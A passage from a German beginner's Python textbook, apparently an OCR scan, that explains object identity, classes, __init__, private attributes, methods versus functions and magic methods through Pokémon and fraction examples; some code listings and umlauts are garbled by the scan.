dieselben Colas, was auch der Vergleich mit dem Keyword i s zeigt:

3 print(a is b)
# Ausgabe: False

Wenn du mit jemandem in der Mittagspause Chinesisch essen gehst und
ihr beide die gebratene Ente mit sif3-saurer SolRe bestellt, dann bekommt



ihr zwar das Gleiche, aber nicht dasselbe, denn sonst wirdet ihr euch ein
Gericht teilen:

"Ente suB-sauer"

2 b =a

In diesem Fall wird Gericht a mit dem Operator = dem Gericht b
zugewiesen. Dadurch entsteht kein neues Gericht. Wenn wir jetzt die
Identitat mithilfe des Keywords is Uberprifen, dann stellen wir fest, dass
es sich um dieselben Objekte handelt:

3 print(a is Db)
# Ausgabe: True

In Kapitel 8 hast du an einigen Beispielen gesehen, was man unter einer
flachen und einer tiefen Kopie versteht. Das spielt auch hier wieder eine
Rolle. Mit der Methode copy erzeugst du eine tiefe Kopie und damit ein
neues Objekt, das gleich zu dem ist, das du kopiert hast. Mit dem =
Operator erzeugst du eine flache Kopie, die identisch zu dem ist, was du
kopiert hast. Du kopierst im Prinzip nur einen Zeiger auf denselben Ort im
Speicher und deshalb werden auch Anderungen, die du an der ,Kopie”
durchfihrst, auf dem ,,Original” durchgefihrt.

In dem folgenden Video ist an einem weiteren Beispiel gezeigt, wie die
Begriffe ,,Gleichheit” und ,Identitdat” in Python zu verstehen sind:

https://florian-dalwigk.com/python-einsteiger/gleichheit_identitat
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Jetzt haben wir schon so viel Giber Objekte gesprochen, dass es einmal an
der Zeit ist, sich anzuschauen, wie diese Gberhaupt definiert werden. Dazu
wird ein Bauplan benoétigt, der in Form einer sogenannten ,Klasse”
niedergeschrieben wird. Mit jeder Klasse, die du schreibst, schaffst du
einen neuen Datentyp. Die Datenstrukturen aus Kapitel 8 sind bspw.
allesamt Datentypen, die in Klassen definiert wurden. Auch auf Strings
trifft das zu. Die folgende Code-Schablone zeigt den grundlegenden Aufbau
einer Klasse:

class <Klassenname>:
<Anweisung 1>
<Anweisung 2>

<Anweisung n>

Code-Schablone 13.2.1: Aufbau einer Klasse

Zuerst wird mit dem Keyword class die Klasse eingeleitet. Dahinter folgt
dann der <Klassenname> und ein Doppelpunkt. Darunter werden
einzelne <Anweisungen> eingerlckt notiert, die dann das Verhalten der
Klasse naher beschreiben.

Beispiel 13.2.3: Um eine Klasse Pokemon zu definieren, wird zuerst das
Keyword class notiert und dahinter der Name der Klasse, also
Pokemon, geschrieben. Damit wir keine TndentationError Exception
auslésen, notieren wir als eingeriickte <Anweisungen> einfach eine
Ausgabe mit dem Text Ich bin ein Pokémon:

1 class Pokemon:

2 print("Ich bin ein Pokémon")

Um ein Objekt vom Typ Pokemon, also eine Instanz der Klasse Pokemon,
zu erzeugen, schreiben wir, diesmal nicht eingerickt, den Namen der
Klasse und direkt dahinter, wie bei einem Funktionsaufruf, eine gedffnete
und eine geschlossene Klammer. Das Ergebnis ist ein Objekt, das wir einer
Variable pokemon zuweisen kénnen:

3 pokemon = Pokemon ()



Beim Erzeugen des Objekts wird dann die print-Anweisung durchlaufen
undder Text Ich bin ein Pokémon ausgegeben.

Das ist jetzt noch nicht sonderlich spannend. AuBerdem hast du bei den
Schiggys gesehen, dass in Klammern Parameter wie der Name des
Pokémons, die Nummer im Pokédex, die GroBe, das Gewicht, ein
Pokémon-Trainer und ein Typ mitgegeben werden konnten. Das ist hier
noch nicht moglich. Wie konnen wir das andern? Ganz einfach! Mithilfe
einer sogenannten ,magischen Methode” namens  init . Mithilfe
dieser Methode kdnnen beim Erzeugen eines Objekts, man spricht hier
auch vom ,Instanziieren”, Parameter mitgegeben werden, die dann in
sogenannten , Objektvariablen” gespeichert werden. Objektvariablen sind
Variablen, die den einzelnen Instanzen der Klasse individuell gehéren. Aber
eins nach dem anderen! Die folgende Code-Schablone zeigt den

grundlegenden Aufbauder init -Methode:

def init (self,<Parameter 1>,<Parameter 2>,...,<Parameter n>):
<Anweisung 1>
<Anweisung 2>

<Anweisung n>

Code-Schablone 13.2.1: Die magische Methode  init

Da es sich bei init  um eine Methode handelt, werden zuerst das
Keyword def und der Methodenname notiert. In vielen Python-Tutorials
wird falschlicherweise behauptet, dass die @ init -Methode ein

sogenannter , Konstruktor” ist. Was man unter einem solchen Konstruktor
versteht und warum init das nicht ist, erfdhrst du in dem

folgenden Video:



https://florian-dalwigk.com/python-einsteiger/konstruktor

Dir sind bestimmt die beiden Unterstriche am Anfang und am Ende des
Namens aufgefallen, oder? Das ist eine spezielle Namenskonvention fir
magische Methoden. In runden Klammern werden nun mehrere
<Parameter> lUbergeben, wobei nur der erste, namlich self, wirklich
verpflichtend ist. Die Variable self reprasentiert, wie der Name bereits
vermuten lasst, das Objekt selbst und man spricht hier auch von einer
sogenannten ,Selbstreferenz® Es ist wichtig, dass bei allen Methoden, die
innerhalb einer Klasse definiert werden und spater von einem Objekt
aufrufbar sein sollen, als erstes die Variable self Ubergeben wird.
AnschlieBend konnen dann beliebig viele weitere <Parameter>
vorgesehen werden, die spater beim Erzeugen eines Objekts in runden
Klammern mitgegeben werden. Mit einem Doppelpunkt wird der
Methodenkopf abgeschlossen und in der nachsten Zeile kénnen dann
eingerlickte <Anweisungen> notiert werden, die beim Aufruf der
init -Methode ausgefiihrt werden.

Beispiel 13.2.4: Unsere Pokémon sollen, wenn sie innerhalb des
Programms geboren werden, ihren Namen zweimal sagen. In Beispiel
13.2.3 hat einfach jedes Pokémon dasselbe gesagt, namlich Ich bin
ein Pokemon. Mithilfe der magischen Methode  init  kénnen wir
einen <Parameter> vorsehen, Uber den beim Instanziieren, also dem
Erzeugen eines Objekts der Klasse Pokemon, der Name des Pokémons
mitgegeben wird:

1 class Pokemon:
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2 def init (self,name):

3 print(f"{name}, {name}!")
Wir erzeugen nun eine Instanz der Klasse Pokemon:

4 schiggy = Pokemon ("Schiggy")

Bei dieser Instanziierung unseres Pokémon-Objekts erscheint nun die
folgende Ausgabe:

Schiggy, Schiggy!

Wie du siehst, muss self nicht in die runden Klammern geschrieben
werden. Nur die <Parameter> hinter dem self sind beim Erzeugen
eines Objekts erforderlich.

Du kannst selbstverstandlich beliebig viele <Parameter> in der
__init -Methode vorsehen. Doch was machst du dann mit denen?
Nun, vielleicht mochtest du sie spater in anderen Methoden innerhalb der
Klasse wiederverwenden. Dafir ist es erforderlich, dass du die
Ubergebenen <Parameter> speicherst. Das machst du in den bereits
angesprochenen Objektvariablen. Die = init -Methode kann dazu
genutzt werden, die Zuweisung der <Parameter> zu den
Objektvariablen vorzunehmen. Die folgende Code-Schablone zeigt, wie das
allgemein funktioniert:

def init (self,<Parameter 1>,<Parameter 2>,...,<Parameter n>):
self.<Objektvariable 1> = <Parameter 1>
self.<Objektvariable 2> = <Parameter 2>

self.<Objektvariable n> <Parameter n>

Code-Schablone 13.2.2: Objektvariablen Werte zuweisen

Um zu zeigen, dass wir <Objektvariablen> definieren wollen, die zu
dem Objekt selbst gehoéren, verwenden wir die Selbstreferenz self.
Hinter dem self wird mit einem Punkt getrennt der Name der
<Objektvariable> definiert.



Beispiel 13.2.5: Wir mochten beim Erzeugen einer Pokémon-Instanz nicht
nur den Namen des Pokémons, sondern auch die Nummer im Pokédex, die
Grolle, das Gewicht, einen Pokémon-Trainer und den Typ mitgeben
kénnen. Deshalb erweitern wir die = init -Methode um ein paar
<Parameter> und speichern sie direkt in <Objektvariablen>, um
sie spater wiederverwenden zu kénnen:

class Pokemon:
def init (self,name,nr,gréfe,gewicht, trainer, typ):
print (f" {name}, {name}!")

self.name = name

1

2

3

4

5 self.nr = nr
6 self.groBe = groBe

7 self.gewicht = gewicht
8 self.trainer = trainer
9

self.typ = typ

Jetzt konnen wir ein ,richtiges” Schiggy mit vielen Informationen
instanziieren:

10 schiggy = Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

Da die erste <Anweisung> in der init -Methode der Aufruf der

print-Funktion in Zeile 3 ist, wird beim Instanziieren des Schiggys
folgende Nachricht ausgegeben:

Schiggy, Schiggy!

Ein Problem gilt es aber noch zu l6sen. Eines der vier Prinzipien der
objektorientierten Programmierung ist die Datenkapselung, d. h. die Daten
eines Objekts sollen nur durch das Objekt selbst gelesen und beschrieben
werden kdonnen. Das ist aktuell aber nicht der Fall, denn wir kdnnen durch
einen Punkt und die Angabe des Namens der <Objektvariable>

direkt darauf zugreifen.

Beispiel 13.2.6: In Beispiel 13.2.5 haben wir in Zeile 10 ein Schiggy
instanziiert:



10 schiggy = Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

Wenn wir uns jetzt bspw. den Namen des Pokémon-Trainers anschauen
wollen, konnen wir direkt auf die <Objektvariable> trainer
zugreifen und uns den Namen ausgeben lassen:

11 print(schiggy.trainer)
# Ausgabe: Ash

Wir konnen den Pokémon-Trainer sogar verandern, indem wir der
<Objektvariable> einen neuen Wert zuweisen:

12 schiggy.trainer = "Misty"

13 print (schiggy.trainer)
# Ausgabe: Misty

Wenn wir das Prinzip der Datenkapselung umsetzen wollen, darf das
naturlich nicht so sein.

Wenn du Objekte |6schen willst, dann kannst du, wie bei den Eintragen
innerhalb eines Dictionaries, das Keyword del verwenden. Dahinter

folgt dann die Variable, in der das zu |6schende Objekt gespeichert wurde.

Beispiel 13.2.7: Auf Basis unserer Klasse Pokemon instanziieren wir ein
Schiggy:

10 schiggy = Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

Dieses Schiggy wird nun mithilfe des Keywords de 1 geldscht:

11 del schiggy

Wenn wir jetzt versuchen, auf den Trainer des Schiggys zuzugreifen, dann
erhalten wir eine NameError Exception, da das Objekt bereits geloscht

wurde:

12 print (schiggy.trainer)
# Ausgabe: NameError: name 'schiggy' is not defined



Da der Python-Interpreter am Ende eines Programms ohnehin alle Objekte
|6scht, ist ein expliziter Aufruf von de 1 nicht erforderlich.

Um direkte Zugriffe auf die <Objektvariablen> zu verhindern, kann
man sie mithilfe einer bestimmten Namenskonvention schiitzen und so nur
innerhalb der Klasse zur Verfigung stellen. Dazu beginnt man den
Variablennamen einfach mit zwei Unterstrichen und schon erhalt man bei
dem Versuch, von auRen darauf zuzugreifen, eine Fehlermeldung in Form
einer AttributeError Exception.

Beispiel 13.2.8: Alle <Objektvariablen> unserer Pokémon-Klasse

werden nun mit zwei Unterstrichen eingeleitet und so vor &duBeren
Zugriffen geschitzt:

class Pokemon:
def init (self,name,nr,gréBe,gewicht, trainer, typ) :
print (f"{name}, {name}!")

self. name = name

self. grobe = grobe

self. gewicht = gewicht

self. trainer = trainer

1
2
3
4
5 self. nr = nr
6
7
8
9

self. typ = typ

Instanzen bzw. Objekte der Pokémon-Klasse konnen nach wie vor
problemlos erzeugt werden:

10 schiggy = Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

Jetzt versuchen wir, direkt auf den Namen des Pokémon-Trainers
zuzugreifen:

11 print (schiggy.trainer)

Dieser Versuch wird von Python mit einer AttributeError Exception
beantwortet:



AttributeError: 'Pokemon' object has no attribute ' trainer'

Python tut also so als wiirde es die <Objektvariable> trainer
nicht kennen.

Gibt es denn dann Uberhaupt noch eine Maoglichkeit, etwas Uber die
Pokémon herauszufinden, wenn man alle Attribute, also die Eigenschaften
des Objekts, mit geschiitzten Variablen versieht? Ja! Daflir missen
Methoden geschrieben werden, die von Objekten der Klasse aufgerufen
werden koénnen und die klassenintern auf die geschitzten Variablen
zugreifen. Das fuhrt uns direkt zum nachsten Kapitel.

13.3 Methoden vs. Funktionen

In diesem Kapitel liften wir endlich ein Geheimnis, das dich bisher im-
gesamten Buch begleitet hat: Was ist der Unterschied zwischen Methoden
und Funktionen? Die Antwort ist denkbar einfach: Eine Methode ist eine
Funktion, die auf einem Objekt aufgerufen wird. Funktionen bendtigen
hingegen kein Objekt, sondern kénnen direkt aufgerufen werden. Die
folgende Code-Schablone zeigt, wie ein Methodenaufruf funktioniert:

objekt.methode (<Parameter 1>, ...,<Parameter n>)

Code-Schablone 13.3.1: Methodenaufruf

Zuerst wird das Objekt notiert, das eine bestimmte Methode bereitstellt.
Daran schliet ein Punkt an, mit dem signalisiert wird, dass man auf etwas
in dem Objekt zugreifen mdchte. Das kann eine Objektvariable oder eine
Methode sein. Daran schliet der Methodenname an. Falls die Methode
irgendwelche <Parameter> bendtigt, werden diese natirlich
mitgegeben. Der erste Parameter in einer Methode, also die Selbstreferenz
self, muss nicht mit angegeben werden. Mit self wird in der
Methodendefinition innerhalb der Klasse lediglich ausgedriickt, dass sich
eine bestimmte Funktion auf das Objekt selbst bezieht, wodurch aus dieser
Funktion eine Methode wird.

Beispiel 13.3.1: Gegeben sei die folgende Liste:



1 primzahlen = [2, 3, 5, 7, 11, 13, 17]

Um die Lange dieser Liste herauszufinden, kannst du die Funktion 1en
verwenden.

2 len(primzahlen)

Wie du siehst, wird kein Objekt bendtigt, auf dem diese Funktion
aufgerufen wird. Wenn du die Primzahl 19 der Liste hinzufiigen

mochtest, dann kannst du die Methode append verwenden:

3 primzahlen.append (19)

Da es sich um eine Methode handelt, wird sie auf einem Objekt
aufgerufen. Bei allen Datenstrukturen, die du in diesem Buch
kennengelernt hast, handelt es sich um Objekte. Die Selbstreferenz self

muss nicht als <Parameter> mitgegeben werden, sondern nur der Wert,
der hinzugefligt werden soll. So mochte es die Definition der Methode
append.

Beispiel 13.3.2:

1 anime = "Steins;Gate"

Um die Lange dieses Strings herauszufinden, kannst du die Funktion
len verwenden.

2 len (anime)

Wie du siehst, wird kein Objekt benotigt, auf dem diese Funktion
aufgerufen wird. Wenn du den String jedoch in GroBbuchstaben

umwandeln mdchtest, dann kannst du die Methode upper verwenden.
Diese liefert als Ergebnis den St ring in GroRbuchstaben zurtick, der dann
einer Variable zugewiesen werden kann:

3 groRer anime = anime.upper ()



Da es sich um eine Methode handelt, wird sie auf einem Objekt
aufgerufen. Bei Strings handelt es sich ebenfalls um Objekte. Auch hier

ist die Selbstreferenz sel f als <Parameter> nicht erforderlich.

Beispiel 13.3.3: Wir wollen mithilfe des Zufallszahlengenerators des
Moduls random Zahlen zwischen (inklusive) 1 und (inklusive) 10 wirfeln.

Dazu benotigen wir zuerst den Import des Moduls:

1 import random

Das Modul random stellt eine Funktion randint bereit, die unseren
Anforderungen gentigt. Dieser wird eine Untergrenze (hier 1) und eine
Obergrenze (hier 10) mitgegeben, zwischen denen sich dann die
Zufallszahlen bewegen. Die Funktion wird auf dem Modul aufgerufen, weil
sie sich darin befindet:

2 random.randint (1,10)

Beachte, dass random kein Objekt, sondern der Modulname ist. Demnach
mag es so aussehen, dass randint eine Methode ist, doch es handelt

sich hierbei tatsachlich um eine Funktion. Das kannst du Uberprifen,
indem du nur diese spezielle Methode aus dem Modul random

importierst und sie dann aufrufst:

1 from random import randint

2 randint (1,10)

Und schon wird kein Punkt mehr bendtigt.

Um eine Methode definieren zu kdnnen, bendtigst du zuerst einmal eine
Klasse, denn ghne Objekt gibt es keine Methode. Im Prinzip unterscheidet
sich die Definition einer Methode nur dadurch von einer Funktion, dass sie
innerhalb einer Klasse stattfinden muss und als ersten <Parameter> die

Selbstreferenz sel f besitzt:

class <Klassenname>:
def <Methodenname> (self, <Parameter 1>, ..., <Parameter n>):



<Anweisung 1>
<Anwelsung 2>

<Anweisung 3>
return <Ergebnis>

Code-Schablone 13.3.2: Definition einer Methode

Methoden werden innerhalb einer Klasse definiert und missen demnach
eingeriickt werden. Nach dem Keyword def  folgt der
<Methodenname>. In runden Klammern wird zuerst die Selbstreferenz
self notiert. Darauf folgen beliebig viele <Parameter>. Mit einem

Doppelpunkt wird der Methodenkopf abgeschlossen und in der nachsten
Zeile geht es dann mit den eingeriickten <Anweisungen> weiter.

Beispiel 13.3.4: Betrachten wir unsere bisherige Pokémon-Klasse:

class Pokemon:

def init (self,name,nr,gréBe,gewicht, trainer, typ):
print (f"{name}, {name}!"™)

self. name = name

self. groRe = groke

self. gewicht = gewicht

1

2

3

4

5 self. nr = nr
6

7

8 self. trainer = trainer
9

self. typ = typ

Wir wollen eine Methode definieren, mit der das Gewicht eines Pokémons
ausgegeben werden kann. Denn wie du ja weilst, kann man auf geschitzte
Variablen, deren Namen mit zwei Unterstrichen beginnen, nicht direkt
zugreifen. Deshalb schreiben wir uns einfach eine Methode, die den Wert
dann zurlickgibt. Die Methode nennen wir get gewicht. Diese erhdlt
als <Parameter> lediglich die Selbstreferenz self, da nur der Wert der
geschutzten Variable  gewicht zurtickgegeben werden soll:

11 def get gewicht (self):

12 return self. gewicht



Wenn wir jetzt ein Pokémon instanziieren und darauf die Methode
get gewicht aufrufen, erhalten wir das Gewicht des Pokémons, obwohl
die<Objektvariable> typ geschitztist:

14 pikachu = Pokemon ("Pikachu", 25, 0.41, 6, "Ash", "Elektro")

15 print (pikachu.get gewicht ())
# Ausgabe: 6

In Beispiel 13.3.4 haben wir ganz nebenbei die Frage geklart, wie man
Schnittstellen fiir geschitzte <Objektvariablen> definieren kann:

Man definiert einfach eine Methode, die dann auf die entsprechenden
Variablen zugreift und diese zurlickgibt. So ist es bspw. auch moglich, die
Werte von <Objektvariablen> zu verandern.

Beispiel 13.3.5: Da Pokémon auch zu- und abnehmen kénnen, wollen wir
eine Methode schreiben, mit der man den Wert der geschiitzten
<Objektvariable> gewicht verandern kann. Dazu sehen wir zwei
Methoden vor, ndmlich eine zum Zunehmen und eine zum Abnehmen. Die
Methode zunehmen erhalt als <Parameter> den Betrag der Zunahme.
Wichtig ist jedoch, dass als erster <Parameter> die Selbstreferenz self
Ubergeben wird:

14 def zunehmen (self, zunahme) :

15 self. gewicht += zunahme

Analog erhalt die Methode abnehmen als <Parameter> den Betrag der
Abnahme:

17 def abnehmen (self, abnahme) :
18 self. gewicht -= abnahme

Wir definieren nun ein Pokémon:
20 schiggy = Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")

Dieses Schiggy wiegt aktuell 9 Kilogramm, was wir mithilfe der Methode
get gewicht aus Beispiel 13.3.4 tGberprifen kénnen:



21 print (schiggy.get gewicht())
# Ausgabe: 9

Jetzt lassen wir das Schiggy 3 Kilogramm zunehmen. Anschlielfend
Uberprifen wir, ob alles geklappt hat:

22 schiggy.zunehmen (3)

23 print (schiggy.get gewicht())
# Ausgabe: 12

Okay, die Pfunde missen purzeln. Da das Schiggy sehr viel trainiert hat,
lassen wir es mit der Methode abnehmen insgesamt 4 Kilogramm

abnehmen.

24 schiggy.abnehmen (4)

25 print (schiggy.get gewicht())
# Ausgabe: 8

Beispiel 13.3.6: So richtig spannend wird es aber erst, wenn Pokémon
gegeneinander kampfen. Deshalb definieren wir uns eine Methode
angreifen. Doch wie kénnen die Pokémon untereinander Schaden
nehmen? Bisher haben unsere Pokémon namlich noch keine
Lebenspunkte. Das koénnen wir andern, indem wir bspw. in der
__init -Methode eine weitere geschutzte Variable vorsehen, die einen
fixen Wert von 20 erhalt:

class Pokemon:

def init (self,name,nr,gréfe,gewicht, trainer, typ):
print (f" {name}, {name}!")

self. name = name

self. grobe = grobe

self. gewicht = gewicht

1

2

3

4

5 self. nr = nr
6

7

8 self. trainer = trainer
9

self. typ = typ
10 self. lebenspunkte = 20



Alle instanziierten Pokémon haben jetzt wegen Zeile 10 bei ihrer Geburt
20 Lebenspunkte. Um Gberhaupt Schaden nehmen zu kdénnen, definieren

wir eine Methode einstecken, mit der der Wert der geschitzten
<Objektvariable>  lebenspunkte verringert werden kann.
Diese erhadlt als <Parameter> die Selbstreferenz sel f und die Hohe des
Schadens, der von den Lebenspunkten abgezogen wird:

12 def einstecken(self, schaden):

13 self. lebenspunkte -= schaden

Jetzt konnen wir die Methode angreifen implementieren. Diese erhalt
als <Parameter> zusatzlich zur Selbstreferenz self ein gegnerisches

Pokémon und die H6he des Schadens, den das Pokémon beim Gegner
anrichtet:

15 def angreifen(self, gegner, schaden) :

Innerhalb der Methode wird auf dem gegnerischen Pokémon die Methode
einstecken aufgerufen, der wir den Schaden, den das Pokémon
anrichtet, ibergeben:

16 gegner.einstecken (schaden)

Wir reichen sozusagen den Schadenswert, der beim Aufruf der Methode
angreifen Ubergeben wird, ber die Methode einstecken direkt an
das gegnerische Pokémon weiter. Beachte, dass die Variable gegner wie
eine ganz normale Pokémon-Instanz zu behandeln ist und wir auf ihr alle
Methoden der Klasse Pokemon aufrufen kdénnen. Um Uberprifen zu
konnen, ob die Angriffe erfolgreich waren, definieren wir noch eine
Methode get lebenspunkte, mit der wir uns den Wert der
geschiutzten <Objektvariable> lebenspunkte ausgeben lassen
kdnnen:

18 def get lebenspunkte(self):

19 return self. lebenspunkte



Zum Testen erzeugen wir zwei Pokémon:

21 schiggy
22 pikachu

Pokemon ("Schiggy", 7, 0.5, 9, "Ash", "Wasser")
Pokemon ("Pikachu", 25, 0.41, 6, "Ash", "Elektro")

AnschlieBend lassen wir Schiggy Pikachu angreifen und einen Schaden von
5 Lebenspunkten zufiigen:

24 schiggy.angreifen (pikachu, 5)

Um zu schauen, ob der Angriff erfolgreich war, lassen wir uns die
Lebenspunkte von Pikachu ausgeben:

25 print (pikachu.get lebenspunkte())
# Ausgabe: 15

Das Ergebnis ist korrekt, da Pikachu vor dem Angriff 20 Lebenspunkte
hatte und jetzt nur noch 15 hat. Pikachu holt jetzt zum Gegenangriff aus
und fligt Schiggy 3 Lebenspunkte Schaden zu:

26 pikachu.angreifen (schiggy, 3)

Nach diesem Angriff schauen wir uns nun die Lebenspunkte von Schiggy
an:

27 print (schiggy.get lebenspunkte())
# Ausgabe: 17

Das Ergebnis ist korrekt, da Schiggy vor dem Angriff 20 Lebenspunkte hatte
und jetzt nur noch 17 hat.

Merkst du, wie einfach und intuitiv man mithilfe der objektorientierten
Programmierung komplexe Anwendungen schreiben kann? Das Pokémon-
Universum lielSe sich programmatisch jetzt beliebig weiterspinnen und zu
einem umfangreichen Spiel ausbauen.

Die folgende Tabelle zeigt noch einmal die Unterschiede zwischen
Methoden und Funktionen auf:



Methoden Funktionen

Methoden werden auf einem Objekt Funktionen bendotigen kein Objekt und kdnnen direkt
aufgerufen: aufgerufen werden:
objekt.methode () funktion()

Der erste Parameter einer Methode ist Bei Funktionen wird keine Selbstreferenz benotigt und
die Selbstreferenz self: es ist kein Parameter erforderlich:

def methode (self) def funktion ()_:

Methoden missen innerhalb einer Funktionen kommen ohne eine Klasse aus.
Klasse definiert werden:
class Klasse:

def methode (self)

Tabelle 13.3.1: Die Unterschiede zwischen Methoden und Funktionen

13.4 Magische Methoden

Flr viele ist Programmierung Magie in ihrer Reinform. Wenn man dann
noch erfahrt, dass es in Python sogenannte ,magische Methoden” gibt,
erhartet sich vielleicht der Verdacht, dass beim Programmieren wirklich
Zauberei im Spiel ist. Du weilst es nach der Lektlire dieses Kapitels aber
besser.

Magische Methoden sind die Grundlage fiir das polymorphe Verhalten von
Operatoren. Was ist damit gemeint? Mal angenommen, wir wollen einen
neuen Datentyp definieren, mit dem man klassische Bruchrechnung
durchfihren kann. Zur Umsetzung schreiben wir uns eine Klasse Bruch,

die wir nach und nach mit Leben fillen:

1 class Bruch:

Ein Bruch besteht aus einem Zahler a und einem Nenner b, wobei der
Nenner nicht 0 sein darf, da wir sonst durch 0 teilen wirden:

a ¢ Zahler
5 (Wemmer)

Nenner



Inder init -Methode sehen wir also zwei Parameter vor, namlich

einen fur den Zahler und einen fir den Nenner. Diese weisen wir
anschlieBend Objektvariablen zu, die in diesem Fall nicht unbedingt
geschiitzt sein mussen, weshalb wir uns die beiden Unterstriche vor den
Namen sparen:

2 def init (self, zahler, nenner):
3 self.zdhler = zahler
4 self.nenner = nenner

Wenn wir jetzt bspw. den Bruch ? definieren wollen, kbénnen wir ein

Objekt vom Typ Bruch erzeugen und geben dort als ersten Parameter den
Zahler 2 und als zweiten den Nenner 3 mit:

x = Bruch (2, 3)
Analog kdnnen wir einen zweiten Bruch Z definieren:

y = Bruch(1,4)

Die Frage ist nun, wie wir diese beiden Briiche z. B. addieren kénnen. Bei
Integern und Floats haben wir dafir einfach den Operator +
verwendet, doch wenn wir die beiden Briiche hier durch

zu addieren versuchen, dann erhalten wir die folgende Fehlermeldung:

TypeError: unsupported operand type(s) for +: 'Bruch' and 'Bruch'

Offenbar ist flir den Datentyp Bruch der Operator + nicht bekannt. Und
genau hier kommen jetzt die magischen Methoden ins Spiel. Mit ihnen ist
es moglich, fiir eine Klasse das Verhalten von Operatoren wie +, -, *, /,
==, < oder > zu definieren. In der Fachsprache spricht man auch vom




sogenannten ,Uberladen von Operatoren” (Operator-Overloading).
Dadurch konnen wir bspw. erreichen, dass Objekte der Klasse Bruch
intuitiv addiert, voneinander subtrahiert, miteinander multipliziert,
durcheinander dividiert oder mit relationalen Operatoren wie <, == oder >
verglichen werden kénnen.

Die folgende Tabelle zeigt einen kleinen Auszug der Operatoren, die
Uberladen werden kénnen und welche magische Methode dabei zum
Einsatz kommt:

Operator Magische Methode

+ add (self,other)

- sub (self,other)

* mul (self, other)

/ truediv (self,other)

== __eq (self,other)

< 1t (self, other)

> gt (self, other)

Tabelle 13.4.1: Ubersicht (iber Operatoren und dazugehérige magische Methoden

Eine Ubersicht mit allen magischen Methoden findest du unter dem

folgenden Link:
22 o]
[ .+

https://florian-dalwigk.com/python-einsteiger/magische_methoden


https://florian-dalwigk.com/python-einsteiger/magische_methoden

Die Namen von magischen Methoden beginnen stets mit zwei
Unterstrichen und enden auch auf ihnen. Deshalb bezeichnet man sie im
Englischen auch als ,,Dunder Methods” (Double Underscore).* Wir werden
nun nacheinander alle in Tabelle 13.4.1 gezeigten Operatoren fir das
Rechnen mit Brichen implementieren.

Beginnen wir mit der Addition. Wie werden denn eigentlich zwei Briiche

a a . . . .
7 und 7 addiert? Nun, zuerst werden die beiden Nenner miteinander

multipliziert, die beiden Zahler tiberkreuz mit den Nennern malgenommen
und die Produkte addiert:

a-d+c-b
b-d

a, c_
b d

In Tabelle 13.4.1 konnen wir nachlesen, dass fiir die Addition die magische
Methode  add  vorgesehen ist. Diese erhadlt zwei Parameter, namlich

einmal die Selbstreferenz self als ersten Summanden und eine Variable
namens other als zweiten Summanden:

19 def add (self,other):

Was ist other? Nun, damit ist der Bruch gemeint, der addiert werden soll.
Wenn du einen binaren Operator wie + implementierst, dann bendtigst du
zwei Operanden. Die Operanden sind hier also self und other. Du
kannst dir das folgendermal3en vorstellen:

self + other

Innerhalb der magischen Methode berechnen wir mithilfe von self und
other den Zahler und den Nenner des Ergebnisses. Dabei hilft uns die
Mathematik:



c self.zahler - other.nenner + self.nenner - other.zéhler
+E = self + other =

a
b self.nenner - other.nenner

Diese Formel miissen wir nun nur noch in Python-Code giel3en:

20 zahler = self.zdhler * other.nenner + self.nenner *
other.zahler

21 nenner = self.nenner * other.nenner

Mit den beiden Ergebnissen erzeugen wir nun einen neuen Bruch und
geben ihn zurick:

22 return Bruch (zdhler,nenner)

Einfach, oder? Wir mussten nur die mathematischen Vorgaben zur
Berechnung der Summe von zwei Briichen in ein Python-Programm
Ubersetzen. Um unsere magische Methode zu testen, definieren wir zwei

2
Briche x = 1 und y = 37 addieren sie mit einem + und weisen die

Summe einer Variable z zu, die ebenfalls vom Typ Bruch ist:

X = Bruch(1l,2)
Bruch (1, 3)
zZ = X +y

Wenn wir uns die Variable z nun mithilfe der print-Funktion ausgeben
lassen, dann erhalten wir folgendes Ergebnis:

print (z)
# Ausgabe: < main .Bruch object at 0x7f5e82f7e520>

Moment, was ist das denn? Das ist doch kein Bruch! Richtig erkannt. Wenn
du ein Objekt erzeugst und einer Variable zuweist, dann befinden sich nicht
alle Attribute in dieser Variable. Stattdessen wird darin die Adresse des
Speicherbereichs gesichert, ab dem sich dann im Speicher das komplette
Objekt mit all seinen Eigenschaften befindet. Die kryptisch aussehende



Hexadezimalzahl 0x7£5e82£7e520 ist genau diese Adresse im Speicher.

Die kann bei dir vollig anders aussehen. Doch warum gibt uns Python das
Objekt in dieser Form aus? Nun, woher soll Python denn wissen, wie ein
Bruch auszusehen hat? Das miussen wir erstmal in der Klasse Bruch

definieren und genau dafiir gibt es die magische Methode  str .
Diese erhdlt als Parameter nur die Selbstreferenz se1f:

7 def  str (self) :

Als Ergebnis wird ein String zurickgegeben, der dann bspw. von der
print-Funktion verarbeitet werden kann. Bei der Darstellung eines
Bruchs missen wir nun mehrere Falle unterscheiden. Wenn der Zahler 0
ist, dann wird einfach 0 zuriickgegeben:

8 1if self.zahler == 0:

9 return "0O"

Wenn der Nenner des Bruchs 0 ist, dann wird man darlber informiert,
dass dieser Bruch nicht definiert ist, denn eine Division durch 0 ist
unzulassig:

10 elif self.nenner == 0:

11 return "Dieser Bruch ist nicht definiert!"

Wie kann es aber Gberhaupt dazu kommen? Nun, wenn man bspw. direkt
auf die Objektvariable nenner zugreift und diese auf 0 setzt:

Bruch (1, 2)
Bruch (1, 3)
=X t+ vy

N N KX
Il

.nenner = 0

Wenn der Nenner den Wert 1 hat, dann teilen wir quasi durch 1 und

konnen auch einfach direkt den Zahler ausgeben. Dieser muss zuvor noch
in einen String umgewandelt werden, weil die Objektvariablen zahler

und nenner vom Typ Integer sind:



12 elif self.nenner == 1:

13 return str(self.zadhler)

Wenn entweder der Zahler oder der Nenner negativ sind, dann ist der
gesamte Bruch negativ und es soll ein Minuszeichen vor der Ausgabe
erscheinen:

14 elif (self.zdhler < 0) » (self.nenner < 0):

Beachte, dass es sich hierbei um das logische XOR handelt, denn wenn
sowohl der Zahler als auch der Nenner negativ sind, dann ist der Bruch
positiv. Zahler und Nenner sollen in der Ausgabe jedoch beide positiv sein,
weshalb wir die Funktion abs verwenden, die den Betrag einer Zahl

zuruckgibt, d. h. das Ergebnis ist immer positiv:

15 return f"-{abs(self.zadhler)}/{abs(self.nenner) }"

In allen anderen Fallen soll der Bruch einfach in der Form a /b ausgegeben
werden:

16 else:

